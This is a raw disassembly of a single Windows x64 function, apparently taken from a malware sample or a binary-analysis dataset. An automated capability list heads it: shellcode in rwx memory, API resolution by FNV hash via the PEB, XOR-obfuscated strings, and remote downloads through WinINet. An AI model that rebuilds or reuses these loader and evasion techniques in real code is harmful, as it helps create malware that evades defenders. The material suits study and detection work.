Function at 0x140025870
Capabilities:
Access peb ldr_data
Acquire debug privileges
Allocate or change rwx memory
Create http request
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Hash data using fnv
Read data from internet
Receive data
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x998]
sub rsp, 0xa70
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400c5080]
xor rax, rsp
mov qword [rbp + 0x930], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
lea rdi, [rbp + 0x998]
movabs rsi, 0xff00ff00ff00ff00
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x2a0], rdi
mov rax, qword [rdi]
xor rax, rsi
mov qword [rbp + 0x290], rax
xor r15d, r15d
mov qword [rdi], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140021650]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400c69b8], xmm0
mov dword [0x1400c69c8], eax
mov word [0x1400c69cc], ax
mov qword [0x1400c6970], rax
mov word [0x1400c6978], ax
mov byte [0x1400c697a], al
movups xmmword [0x1400c69d0], xmm0
movups xmmword [0x1400c69e0], xmm0
movups xmmword [0x1400c69f0], xmm0
movups xmmword [0x1400c6a00], xmm0
mov byte [0x1400c6a10], al
lea rax, [0x1400c6950]
cmp qword [0x1400c6968], 0x10
cmovae rax, qword [0x1400c6950]
mov qword [0x1400c6960], r15
mov byte [rax], r15b
lea rax, [0x1400c6980]
cmp qword [0x1400c6998], 0x10
cmovae rax, qword [0x1400c6980]
mov qword [0x1400c6990], r15
mov byte [rax], r15b
lea rax, [0x1400c5138]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x1400c5138]
mov qword [0x1400c5148], r15
mov byte [rax], r15b
lea rax, [0x1400c50d8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x1400c50d8]
mov qword [0x1400c50e8], r15
mov byte [rax], r15b
movups xmm0, xmmword [0x1400b7f20]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x1400b7f30]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400b7f34]
mov word [rsp + 0x74], ax
lea eax, [r15 + 0x1f]
lea r14d, [r15 + 4]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400b7f35], r15b
je 0x140025bc0
mov r8d, r15d
cmp r13d, 2
jl 0x140025b77
movdqa xmm5, xmmword [0x1400b8260]
movdqa xmm4, xmmword [0x1400b82b0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400b8280]
movd xmm8, eax
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp + 0x1a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140025a70
cmp r8d, 0x16
jge 0x140025bc0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140025b90
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
lea rax, [rsp + 0x60]
mov r12, 0xffffffffffffffff
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140025bf0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x250]
call fcn.140020980
nop
lea rax, [rbp + 0x250]
cmp qword [rbp + 0x268], 0x10
cmovae rax, qword [rbp + 0x250]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], rdi
mov rbx, qword [rdi]
xor rbx, rsi
mov qword [rbp + 0x1d8], rbx
mov qword [rdi], r15
mov ecx, r15d
lea rsi, [0x14002b3b0]
lea rdi, [0x140000000]
mov rax, qword [0x1400c65e0]
test rax, rax
je 0x140025c99
mov rdx, r15
cmp rax, rsi
je 0x140025c88
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0xc65e0]
test rax, rax
jne 0x140025c70
jmp 0x140025c99
mov r8, qword [rdi + rdx*8 + 0xc6290]
test r8, r8
jne 0x140025d7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140025cc0
mov r8, r15
jmp 0x140025d5e
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140025cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400c61c8]
mov qword [rdi + rax*8 + 0xc65e0], rsi
mov qword [rdi + rax*8 + 0xc6290], r8
inc rax
mov qword [0x1400c61c8], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x998]
mov qword [rax], rbx
lea rcx, [0x1400c6a20]
call fcn.14003fee0
cmp byte [0x1400c6c30], 0
jne 0x140025f16
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140025e46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140025e46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5d1ddbda
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025e41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025e20
cmp r8d, 0xdc9d657d
je 0x140025e4b
test r9d, r9d
jne 0x140025e00
mov rax, qword [rax]
jmp 0x140025dd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140025ef6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140025ef6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe98b042e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025ef1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025ed0
cmp r8d, 0xda166ef6
je 0x140025efb
test r9d, r9d
jne 0x140025eb0
mov rax, qword [rax]
jmp 0x140025e80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov eax, dword [0x1400b7f38]
mov dword [rbp + 0x1a0], eax
cmp byte [0x1400b7f3b], 0
je 0x140026003
mov r8d, r15d
cmp r13d, 2
jl 0x140025fca
movdqa xmm3, xmmword [0x1400b8260]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b82b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b82b0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
mov ebx, Ordinal_32
movd xmm0, ebx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b8280]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
jmp 0x140026008
lea r9, [rbp + 0x1a0]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140025fd1
mov ebx, Ordinal_32
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x1a0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140026022
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x28]
call fcn.140020980
lea rdx, [rbp - 0x28]
lea rcx, [0x1400c6a20]
call fcn.140041bf0
movups xmm0, xmmword [0x1400b7f80]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400b7f90]
movups xmmword [rbp - 0x40], xmm1
movzx eax, word [0x1400b7fa0]
mov word [rbp - 0x30], ax
mov r8d, r15d
cmp r13d, 2
jl 0x1400261c7
movdqa xmm5, xmmword [0x1400b8260]
movdqa xmm4, xmmword [0x1400b82b0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400b8280]
movd xmm8, ebx
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rbp + 0x1a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400260c0
cmp r8d, 0x22
jge 0x140026210
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400261e0
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b8], 0
lea rax, [rbp - 0x50]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140026240
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1b8]
call fcn.140020980
nop
movsd xmm0, qword [str.mJ_IZ_Q4A]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1400aabf8]
mov word [rsp + 0x58], ax
cmp byte [0x1400aabf9], 0
je 0x1400262b0
mov byte [rsp + 0x50], 0x55
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor byte [rsp + 0x56], 0x3e
xor byte [rsp + 0x57], 0x3f
xor byte [rsp + 0x58], 0x40
xor byte [rsp + 0x59], 0x41
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
jne 0x140026436
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x1703927
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140026361
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140026340
cmp r8d, 0x284c85ca
je 0x14002636b
test r9d, r9d
jne 0x140026320
mov rcx, qword [rcx]
jmp 0x1400262f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026416
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026416
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x76c15b84
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026411
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400263f0
cmp r8d, 0x77bf1094
je 0x14002641b
test r9d, r9d
jne 0x1400263d0
mov rax, qword [rax]
jmp 0x1400263a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0x10
cmovae rdx, qword [rbp + 0x1b8]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
jne 0x1400265d6
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edi, dword [rax + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026506
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026506
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x7d720e24
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140026501
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400264e0
cmp r8d, 0x6b570687
je 0x14002650b
test r9d, r9d
jne 0x1400264c0
mov rcx, qword [rcx]
jmp 0x140026490
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400265b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400265b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1daacb2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400265b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026590
cmp r8d, 0x246d1dca
je 0x1400265bb
test r9d, r9d
jne 0x140026570
mov rax, qword [rax]
jmp 0x140026540
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov qword [rbp + 0x2a8], r15
mov qword [rbp + 0x2b8], r15
mov qword [rbp + 0x2c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a8], 0
lea r9, [rbp + 0x1b0]
mov r8d, 0x400
lea rdx, [rbp + 0x530]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14002667f
cmp dword [rbp + 0x1b0], 0
jbe 0x14002667f
lea rdx, [0x1400aab40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b1a0
lea rdx, [0x14002b370]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, dword [rbp + 0x1b0]
lea rdx, [rbp + 0x530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x1b0]
mov r8d, 0x400
lea rdx, [rbp + 0x530]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140026617
lea rdx, [rbp + 0x2a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14002bf10
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x138]
call fcn.14002a140
mov rdx, rax
lea rcx, [0x1400c6a20]
call fcn.140043c20
lea rax, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0x10
cmovae rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1c8], r15
mov byte [rax], 0
cmp byte [0x1400c6c30], 0
jne 0x140026846
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x95d1e59c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026771
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026750
cmp r8d, 0xb9f222df
je 0x14002677b
test r9d, r9d
jne 0x140026730
mov rax, qword [rax]
jmp 0x140026700
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x84b02960
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026821
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026800
cmp r8d, 0x7952a930
je 0x14002682b
test r9d, r9d
jne 0x1400267e0
mov rax, qword [rax]
jmp 0x1400267b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [0x1400c6a20]
call fcn.14003bc60
cmp byte [0x1400c6c30], 0
jne 0x1400269b6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400268e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400268e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x68636f87
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400268e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400268c0
cmp r8d, 0x3d6263ea
je 0x1400268eb
test r9d, r9d
jne 0x1400268a0
mov rax, qword [rax]
jmp 0x140026870
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7ad5e7fb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026991
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026970
cmp r8d, 0x53babbcb
je 0x14002699b
test r9d, r9d
jne 0x140026950
mov rax, qword [rax]
jmp 0x140026920
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov eax, dword [0x1400aac44]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400aac48]
mov word [rsp + 0x44], ax
movzx eax, byte [0x1400aac4a]
mov byte [rsp + 0x40], 0x64
xor byte [rsp + 0x41], 0x39
xor byte [rsp + 0x42], 0x3a
xor byte [rsp + 0x43], 0x3b
xor byte [rsp + 0x44], 0x3c
xor byte [rsp + 0x45], 0x3d
xor al, 0x3e
mov byte [rsp + 0x46], al
mov qword [rbp - 8], r15
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
